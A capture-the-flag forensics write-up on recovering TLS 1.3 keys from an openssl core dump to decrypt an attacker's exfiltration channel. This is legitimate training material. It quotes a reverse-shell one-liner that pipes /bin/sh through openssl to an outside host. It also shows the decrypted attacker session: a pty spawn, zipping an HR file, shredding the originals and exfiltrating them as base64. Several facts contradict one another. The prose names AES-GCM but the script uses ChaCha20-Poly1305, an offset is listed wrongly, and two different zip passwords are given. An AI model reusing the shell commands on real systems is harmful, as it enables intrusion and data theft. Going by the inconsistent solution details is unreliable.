corCTF 2022 - sleeper_agent
- Author: pottm
- Date:
Write-up
Scenario
An attacker has breached the company network and is using the openssl
command line tool to create a TLS1.3-encrypted channel for data exfiltration.
Fluff
Our SIEM generated an alert about an outgoing TLS-connection with a suspicious destination port, originating from one of our internal servers. Luckily, one of our analysts was paying attention and logged on to the server right away. She locked the attacker out, but not before generating a core dump of the process that they used for their encrypted communications. We need to figure out which data the attacker might have exfiltrated from our systems. Combined with the full traffic capture of the incident, surely a forensics prodigy such as yourself can get it done.
Challenge
The player is provided with a full packet capture of the incident (challenge.pcap
), as well as a core dump file of the openssl
process (challenge.core
). To solve the challenge, they must decrypt the attacker’s communications using the encryption key material hidden within the core dump.
In the past, one could simply locate the master secret within the core dump, plug it into wireshark and be rewarded with an automated decryption. With TLS1.3 however, there are now numerous different secrets for handshake and application traffic, all of which are needed for wireshark to decrypt the connection. To make things worse, once the TLS handshake finishes, the corresponding handshake secrets are discarded and their memory contents are zero-ed out. Therefore, decryption has to be done manually.
Solving The Challenge
A quick peek over the packet capture discloses that
- the attacker used a php shell to execute arbitrary commands
- the command line used to establish the encryption connection was
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect windowsupdate.htb:1337 > /tmp/s; rm /tmp/s 2>&1
(frame #54) - the encrypted connection has destination port
1337
and uses TLS1.3 with the cipher suiteTLS_AES_256_GCM_SHA384
(selected in frame #61)
To better understand what’s going on, the relevant parts of the challenge can be replicated, while instructing openssl
to log the key materials to a keylogfile. A core dump of the client process can be created using the gcore
command line utility. tcpdump
is used to capture the network traffic.
1# capture localhost traffic on port 1337 to example.pcap
2tcpdump -w challenge.pcap -i lo port 1337
3
4# spawn a server, and create a server certificate if it doesn't exist
5if [[ ! -f cert.pem || ! -f key.pem ]]; then openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes; fi
6openssl s_server -msg -key key.pem -cert cert.pem -port 1337
7
8# in another shell, connect to it
9openssl s_client -quiet -connect 127.0.0.1:1337 -keylogfile keylogfile.txt -tls1_3 -ciphersuites TLS_AES_256_GCM_SHA384
10
11# in yet another shell, create core dump and move it to example.core
12gcore $(pgrep -f "openssl s_client") && mv core.* challenge.core
13
14# clean up
15pkill '(openssl|tcpdump)'
The keylogfile will then have contents like this (in this case, it’s the actual data from the challenge):
SERVER_HANDSHAKE_TRAFFIC_SECRET f4d7ba2fa472bb79e111f68044bf706df1d4d54825c0e3a393de3a4a4659652c bf3efc3f0d1fd132aa6d291991d9fa57e7066eed78cea07d6adb0784c498157f2244d6c3715d1b934a89e508ec90c1ae
CLIENT_HANDSHAKE_TRAFFIC_SECRET f4d7ba2fa472bb79e111f68044bf706df1d4d54825c0e3a393de3a4a4659652c cb4e6dd72686c992e2c1deb8cf0d64424966971e846094ec9792ebb0721682debbdee46f30ec813b23f92cfee47e81c1
EXPORTER_SECRET f4d7ba2fa472bb79e111f68044bf706df1d4d54825c0e3a393de3a4a4659652c 2d6e9a34c670093a140e1230780365f5f6f85eb15f30f90e2e03929c817e53d6b766a4c580eb2d8545cc0050a4dbfc0e
SERVER_TRAFFIC_SECRET_0 f4d7ba2fa472bb79e111f68044bf706df1d4d54825c0e3a393de3a4a4659652c e99499535710122ea6abc3626c3b50ab1251f06680000a659b9afdbf9bf8132c30acdc0a1aec08ae606c4f78de723347
CLIENT_TRAFFIC_SECRET_0 f4d7ba2fa472bb79e111f68044bf706df1d4d54825c0e3a393de3a4a4659652c 38a63ec591323b3a75d1c19595b721e4b1b8005c4b14e2826bb81adcc8261052f982ad99af2075f574585f785629b790
The first of those hex values is the Client Random
and is used as an identifier for the TLS connection. The second hex value is the actual secret. Opening challenge.pcap
in wireshark, the Client Random
can be seen in the Client Hello
packet (tls.handshake.random
). No other value can be found - they’re secret, after all. Wireshark can decrypt the connection when provided to the path to keylogfile.txt
under Edit -> Preferences -> TLS -> (Pre)-Master-Secret log filename
. The TLS debug file
path can be set to instruct wireshark to generate debugging information during decryption of TLS packets. The debugging information contains secrets and derived encryption keys and initialization vectors.
A reasonable idea to solve the challenge at this stage would be to locate the five secrets in the newly created core dump and from there figure how to find them in the challenge core dump. Once found, a keylog file could be constructed and the traffic decrypted. However, after the handshake completes, the corresponding secrets are discarded by openssl
and the memory is zero-ed out.
1# SERVER_HANDSHAKE_TRAFFIC_SECRET
2$ cat challenge.core | xxd -p -c 1000000 | grep --byte-offset --only-matching bf3efc3f0d1fd132aa6d291991d9fa57e7066eed78cea07d6adb0784c498157f2244d6c3715d1b934a89e508ec90c1ae
3
4# CLIENT_HANDSHAKE_TRAFFIC_SECRET
5$ cat challenge.core | xxd -p -c 1000000 | grep --byte-offset --only-matching cb4e6dd72686c992e2c1deb8cf0d64424966971e846094ec9792ebb0721682debbdee46f30ec813b23f92cfee47e81c1
6
7# EXPORTER_SECRET
8$ cat challenge.core | xxd -p -c 1000000 | grep --byte-offset --only-matching 2d6e9a34c670093a140e1230780365f5f6f85eb15f30f90e2e03929c817e53d6b766a4c580eb2d8545cc0050a4dbfc0e
9939128:2d6e9a34c670093a140e1230780365f5f6f85eb15f30f90e2e03929c817e53d6b766a4c580eb2d8545cc0050a4dbfc0e
10
11# SERVER_TRAFFIC_SECRET_0
12$ cat challenge.core | xxd -p -c 1000000 | grep --byte-offset --only-matching e99499535710122ea6abc3626c3b50ab1251f06680000a659b9afdbf9bf8132c30acdc0a1aec08ae606c4f78de723347
13939000:e99499535710122ea6abc3626c3b50ab1251f06680000a659b9afdbf9bf8132c30acdc0a1aec08ae606c4f78de723347
14
15# CLIENT_TRAFFIC_SECRET_0
16$ cat challenge.core | xxd -p -c 1000000 | grep --byte-offset --only-matching 38a63ec591323b3a75d1c19595b721e4b1b8005c4b14e2826bb81adcc8261052f982ad99af2075f574585f785629b790
17938872:38a63ec591323b3a75d1c19595b721e4b1b8005c4b14e2826bb81adcc8261052f982ad99af2075f574585f785629b790
This means that an automated decryption with wireshark isn’t possible. Using the example data, wireshark is kind enough to write down the used keys and IVs for each decrypted packet in the debug log at debug.txt
.
... <snip> ...
trying to use TLS keylog in E:\keylogfile.txt
tls13_load_secret transitioning to new key, old state 0x97
tls13_load_secret Retrieved TLS 1.3 traffic secret.
Client Random[32]:
| f4 d7 ba 2f a4 72 bb 79 e1 11 f6 80 44 bf 70 6d |.../.r.y....D.pm|
| f1 d4 d5 48 25 c0 e3 a3 93 de 3a 4a 46 59 65 2c |...H%.....:JFYe,|
CLIENT_TRAFFIC_SECRET_0[48]:
| 38 a6 3e c5 91 32 3b 3a 75 d1 c1 95 95 b7 21 e4 |8.>..2;:u.....!.|
| b1 b8 00 5c 4b 14 e2 82 6b b8 1a dc c8 26 10 52 |...\K...k....&.R|
| f9 82 ad 99 af 20 75 f5 74 58 5f 78 56 29 b7 90 |..... u.tX_xV)..|
tls13_generate_keys CIPHER: AES256
tls13_generate_keys key_length 32 iv_length 12
Client Write Key[32]:
| 20 5a e2 31 84 25 60 66 fc b7 3c a2 ab 77 5a 29 | Z.1.%`f..<..wZ)|
| f4 11 99 8d 61 61 51 ba 7d fc 79 0e 7f 09 ca b5 |....aaQ.}.y.....|
Client Write IV[12]:
| a5 ec e2 4b 94 35 eb b1 29 61 eb 6c |...K.5..)a.l |
tls13_generate_keys ssl_create_decoder(client)
decoder initialized (digest len 48)
... <snip> ...
The key and IV can be found in the core dump.
1$ cat challenge.core | xxd -p -c 10000000 | grep --byte-offset --only-matching 205ae23184256066fcb73ca2ab775a29f411998d616151ba7dfc790e7f09cab5
21127616:205ae23184256066fcb73ca2ab775a29f411998d616151ba7dfc790e7f09cab5
3
4$ cat challenge.core | xxd -p -c 10000000 | grep --byte-offset --only-matching a5ece24b9435ebb12961eb6c
5939504:a5ece24b9435ebb12961eb6c
Indeed, the intended solution is to extract both the key and initialization vector (IV) of each of the the AES 256 GCM-ciphers (there’s one for each direction) and use them to decrypt the application data manually.
To locate them in the challenge pcap them, it’s best to study openssl’s source code first. openssl will create a struct ssl_st
data structure for every TLS-Connection it handles. It is defined in ssl_local.h.
- The first member of the structure is
int version
. This will always be the same for TLS1.3 connections:0x0304
, or04 03 00 00 00 00 00 00
in memory. The next three members are all pointers. - The server IV as well as the client IV are direct members of the structure.
- The encryption keys are buried within the cryptographic state contexts of the server and client.
- The data structure for these contexts,
struct env_cipher_ctx_st
, is defined in evp_local.h. It contains a pointer to the sought-after encryption key.
Equipped with this knowledge, a hex editor can be opened to look for the “header” 04 03 00 00 00 00 00 00
. There are a bunch of hits, but only one of them - at file offset 0x72680
- is followed by a couple of plausible pointer values.
The version header is followed by the bytes 80 17 D3 0C BB 7F 00 00
. To uniquely identify the struct within the memory dump, the byte sequence 04 03 00 00 00 00 00 00 80
can therefore be used.
Scrolling down, the IVs are located at offsets 0x448
and 0x478
from the beginning of the struct, and pointers to the state contexts are at offsets 0x440
and 0x470
.
Unfortunately, the pointers can’t easily be followed using the hex editor. The core file can be loaded with the python library pwntools
to get the dumped memory sections mapped to their correct virtual memory addresses and vice versa, as shown in an example below.
1# pip3 install pwntools
2from pwn import *
3
4core = ELF("challenge.core")
5
6ssl_struct_vaddr = next(core.search(unhex(b"040300000000000080")))
7
8client_iv_vaddr = next(core.search(unhex("a5ece24b9435ebb12961eb6c")))
9client_iv_offset = core.vaddr_to_offset(client_iv_vaddr)
10print(f"client iv vaddr={hex(client_iv_vaddr)} offset={hex(client_iv_offset)}")
11# client iv vaddr=0x562c9f39b2d8 offset=0x72af8
12
13client_ctx_vaddr = u64(core.read(ssl_struct_vaddr + 0x470, 8))
14client_ctx_offset = core.vaddr_to_offset(client_ctx_vaddr)
15print(f"client ctx vaddr={hex(client_ctx_vaddr)} offset={hex(client_ctx_offset)}")
16# client ctx vaddr=0x562c9f3b2190 offset=0x899b0
17
18client_key_vaddr = next(core.search(unhex("205ae23184256066fcb73ca2ab775a29f411998d616151ba7dfc790e7f09cab5")))
19client_key_offset = core.vaddr_to_offset(client_key_vaddr)
20print(f"client key vaddr={hex(client_key_vaddr)} offset={hex(client_key_offset)}")
21# client key vaddr=0x562c9f3b2240 offset=0x89a60
By digging around a bit (for instance, looking at the client_ctx
at file offset 0x899b0
in a hex editor) the following can be figured out:
- address of the ssl struct can be found with the byte pattern
040300000000000080
server_iv @ ssl_struct_addr + 0x448
server_ctx_addr @ ssl_struct_addr + 0x440
server_key_addr @ server_ctx_addr + 0x78
server_key @ server_key_addr
client_iv @ ssl_struct_addr + 0x448
client_ctx_addr @ ssl_struct_addr + 0x470
client_key_addr @ client_ctx_addr + 0x78
client_key @ client_key_addr
Below is a python script to extract those values from the core dump using pwntools.
1# pip3 install pwntools
2from pwn import *
3
4core = ELF("./challenge.core")
5
6ssl_struct_addr = next(core.search(unhex("040300000000000080"))) # find the virtual address of the ssl struct
7
8server_iv = core.read(ssl_struct_addr + 0x448, 12) # 12-byte server side iv @ ssl[0x448]
9client_iv = core.read(ssl_struct_addr + 0x478, 12) # 12-byte client side iv @ ssl[0x478]
10
11server_ctx_addr = u64(core.read(ssl_struct_addr + 0x440, 8)) # pointer to server cipher context @ ssl[0x440]
12client_ctx_addr = u64(core.read(ssl_struct_addr + 0x470, 8)) # pointer to client cipher context @ ssl[0x440]
13
14server_key_addr = u64(core.read(server_ctx_addr + 0x78, 8)) # pointer to server encryption key @ server_context[0x78]
15client_key_addr = u64(core.read(client_ctx_addr + 0x78, 8)) # pointer to client encryption key @ client_context[0x78]
16
17server_key = core.read(server_key_addr, 32) # dereference the pointer to get the 32-byte encryption key
18client_key = core.read(client_key_addr, 32) # dereference the pointer to get the 32-byte encryption key
All that’s left now is to decrypt the traffic. This can be done manually (copy-pasting values out of wireshark) or with the help of tshark
and some scripting. The following two invocation of tshark
can be used to filter out all relevant packets with application data. Do note that a TCP packet can hold multiple TLS-application-data records, which tshark
will seperate with commas.
1$ client_finished_frame_number="$(tshark -r challenge.pcap -Y 'tcp.dstport == 1337 && tls.record.content_type == 0x14' -T fields -e frame.number 2>/dev/null)"
2# ^^^^^^^^^^^^^^^^^^^ ^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^
3# from client to server "Finished" print only the frame number
4
5$ tshark -r challenge.pcap -Y "tls.app_data && frame.number > $client_finished_frame_number" -T fields -e tcp.srcport -e tls.app_data 2>/dev/null
6# ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
7# frame has app data starting at frame X print source port and hex-encoded app data
8
9... <snip> ...
1035338 6a606db1d076070a2d5d9438d608b83727d4958db3b920789cd7439bc1dccec7a3438bbf9981cace3a44c150db940d5cadfec598bf6e89dc6b536c0827622022be8678be8aa791a6
111337 74ecfde5e51133bac87e7bd3d22c521dff6fd0767141b6e82c1bdebce25be367c0c6149371dabcba53f78a0441b133030132db3739f6de8d0dd0d8d49e551ad62ac3401261f0489df097ac3bbee4ef5eb998bb1b10e715f8906ac7cd3e6ec2d3b88e7234739ec2f98bfda0ed2d65175cb9eccec340877795102bba0e2222cb6fdeb3b189f2f9e0450dffd6057df4a9228b1eed9a279684c8d896d8a2341e251a8c98ef3666647a0f0f29584245c14c5fcda032a49857daf09070c69342604626159107fd445d8a36484e58d067855cd1fd2647717517de4a45ffe4444c1f6e66d796452a142fbe75bf4bb9a1f67081a31b1880af0769956ac324
121337 fdb19111afbd683e763cd9558bca42bd93694189dfa7082fcfeec2388f57697139272dec70271d02be3ad5ad4e41dceecfdeccd5b105f176269803605046e408abcfaf99a999d4df9c317126dae609093ca872eec7ad03b3c078c4b040eeb066b6642a64dbab5bcc927c3f625dd20634d3795bd4ea398a3ca879f07139ae46928805c543fd3a8d8fc38fc5039b45050de522bea2fcbc2e69cb4a8b979e9ab36c959b4414bd2a0d5da0554771316bdc2760cbf95ad08b2096bc032ba16ef75a5daea7c4e27b9b7e74a6fa7e6f9a3d850b9591f46132fc68a20d9a6ff71a72cd70881670941e936a8b9d537d40c1308464f49f327796bc2325f6bd
131337 b79f5fa810efb6828f1bf800651da371cfebb490df7a057583bb94565bbfdeba2f5b030e3e09c78c21b190005959e6762fec4709cd0d0a18fb901278ed1fefc67715183bb02dfada494dc5f118677e96e7e9fde875c241e5452643a68e99
1435338 662fa04ca08484ac3889919de67c3f06fd7bfbf08d51ee2a847bff7cbc037dd6642ed9a5e97272c31208d8328a7d0b37
15... <snip> ...
Each direction of traffic can be decrypted independently from the other. The process is as follows.
- For each direction of traffic
- For every application data record
- Generate an initialization vector by XORing the original IV (as obtained above) with the number of the application data record (starting at 0)
- Create a new AES_256_GCM cipher with the key and the newly calculated IV
- Cut off the last 17 bytes of the application data record - those are used to confirm the data’s integrity and authenticity, which we don’t care about
- Use the cipher to decrypt the application data
- For every application data record
Below is the final script that combines everything.
1from pwn import *
2from Crypto.Cipher import ChaCha20_Poly1305
3
4context.arch = "amd64"
5context.os = "linux"
6
7core = Corefile("challenge.core")
8
9
10for vaddr in core.search(unhex("0403000000000000")):
11 pointers = unpack_many(core.read(vaddr + 8, 24)) # read three qwords following the 0x0304 header
12 if all(core.memory.overlaps(p) for p in pointers): # check if every qword points to a mapped virtual address
13 ssl_struct_vaddr = vaddr
14 break
15else:
16 print("could not find ssl_struct")
17 exit(0)
18
19print(f"[ssl struct] vaddr={hex(ssl_struct_vaddr)} offset={hex(core.vaddr_to_offset(ssl_struct_vaddr))}")
20
21server_iv = core.read(ssl_struct_vaddr + 0x448, 12) # 12-byte server side iv @ ssl[0x448]
22server_ctx_vaddr = u64(core.read(ssl_struct_vaddr + 0x440, 8)) # pointer to server ssl context @ ssl[0x440]
23server_key_vaddr = u64(core.read(server_ctx_vaddr + 0x78, 8)) # pointer to server encryption key @ server_context[0x78]
24server_key = core.read(server_key_vaddr, 32) # dereference the pointer to get the 32-byte encryption key
25server_packet_counter = 0
26server_output_file = open("server.txt", "wb")
27print("[server key]", enhex(server_key))
28print("[server iv] ", enhex(server_iv))
29
30
31client_iv = core.read(ssl_struct_vaddr + 0x478, 12)
32client_ctx_vaddr = u64(core.read(ssl_struct_vaddr + 0x470, 8))
33client_key_vaddr = u64(core.read(client_ctx_vaddr + 0x78, 8))
34client_key = core.read(client_key_vaddr, 32)
35client_packet_counter = 0
36client_output_file = open("client.txt", "wb")
37print("[client key]", enhex(client_key))
38print("[client iv] ", enhex(client_iv))
39
40
41# use tshark to find the pcap frame number for the TLS_CLIENT_FINISHED packet
42client_finished_frame_number = process("""tshark -r challenge.pcap -Y "tcp.dstport == 1337 && tls.record.content_type == 0x14" -T fields -e frame.number 2>/dev/null""", shell=True).readallS().strip()
43
44# use tshark to get all the TLS payload data
45tls_appdata_frames = process(f"""tshark -r challenge.pcap -Y "tls.app_data && frame.number > {client_finished_frame_number}" -T fields -e tcp.srcport -e tls.app_data 2>/dev/null""", shell=True).readallS().strip()
46
47for line in tls_appdata_frames.splitlines():
48
49 srcport, encrypted_data_and_gcm_tags = line.split()
50
51 for encrypted_data_and_gcm_tag in encrypted_data_and_gcm_tags.split(","):
52
53 encrypted_data = unhex(encrypted_data_and_gcm_tag)[:-17] # discard gcm tag
54
55 if srcport != "1337":
56 # packet sent by client
57 iv = xor(client_iv, pack(client_packet_counter, word_size=8*12, endian="big")) # xor client iv with 12-byte big-endian packet counter
58 client_packet_counter += 1
59 decrypted_data = ChaCha20_Poly1305.new(key=client_key, nonce=iv).decrypt(encrypted_data)
60 print("[client]", decrypted_data)
61 client_output_file.write(decrypted_data)
62
63 else:
64 #packet sent by server
65 iv = xor(server_iv, pack(server_packet_counter, word_size=8*12, endian="big"))
66 server_packet_counter += 1
67 decrypted_data = ChaCha20_Poly1305.new(key=server_key, nonce=iv).decrypt(encrypted_data)
68 print("[server]", decrypted_data)
69 server_output_file.write(decrypted_data)
70
71client_output_file.close()
72server_output_file.close()
73
74os.system("cat client.txt | grep -v www-data | tail +4 | tr -d '\r' | base64 -d > exfil.zip && unzip -j -o -P '?11111?c00lb34nZ?11111?' exfil.zip && xdg-open evidence_of_misconduct.jpg &")
The output is as follows:
[server] b'exec python3 -c \'import pty; pty.spawn(["/bin/bash", "-i"])\';\n'
[client] b'www-data@ubuntu:/var/www/html$ '
[server] b'exec 2>&1; export TERM=xterm-256color; export SHELL=bash; stty rows 100 columns 200; stty -echo; stty intr "^";\n'
[client] b'\r<y rows 100 columns 200; stty -echo; stty intr "^";\r\n'
[client] b'www-data@ubuntu:/var/www/html$ '
[server] b"find /srv -type f -regex '.*\\(docx?\\|pdf\\|jpe?g\\|png\\)' 2>/dev/null | xargs ls -alh\n"
[client] b'-rwxrw-rw- 1 root root 10K Jul 29 07:30 /srv/hr/cases/20220512410001/evidence_of_misconduct.jpg\r\n'
[client] b'www-data@ubuntu:/var/www/html$ '
[server] b'zip -e /dev/shm/thisisntgood.zip /srv/hr/cases/20220512410001/evidence_of_misconduct.jpg\n'
[client] b'Enter password: '
[server] b'?11111?c00lb34nZ?11111?\n'
[client] b'\r\nVerify password: '
[server] b'?11111?c00lb34nZ?11111?\n'
[client] b'\r\n'
[client] b' adding: srv/hr/cases/20220512410001/evidence_of_misconduct.jpg'
[client] b' (deflated 3%)\r\n'
[client] b'www-data@ubuntu:/var/www/html$ '
[server] b'find /srv/hr/cases/20220512410001/ -type f | xargs shred\n'
[client] b'find /srv/hr/cases/20220512410001/ -type f | xargs shred\r\n'
[client] b'www-data@ubuntu:/var/www/html$ '
[server] b'base64 < /dev/shm/thisisntgood.zip\n'
[client] b'base64 < /dev/shm/thisisntgood.zip\r\n'
[client] b'UEsDBBQACQAIAMU7/VRifnVuiyYAAKQnAAA2ABwAc3J2L2hyL2Nhc2VzLzIwMjIwNTEyNDEwMDAx\r\nL2V2aWRlbmNlX29mX21pc2NvbmR1Y3Q'
... <snip> ...
It appears the attacker was actually a company employee! They stored a file in a password-protected zip file (password: lasagna), downloaded it and then shredded the original file on the victim server. The challenge’s flag is found within the image.
1cat client.txt | grep -v www-data | tail +4 | tr -d '\r' | base64 -d > exfil.zip && unzip -j -o -P '?11111?c00lb34nZ?11111?' exfil.zip && xdg-open evidence_of_misconduct.jpg &
corctf{d0nt_n4p_0n_th3_j0b}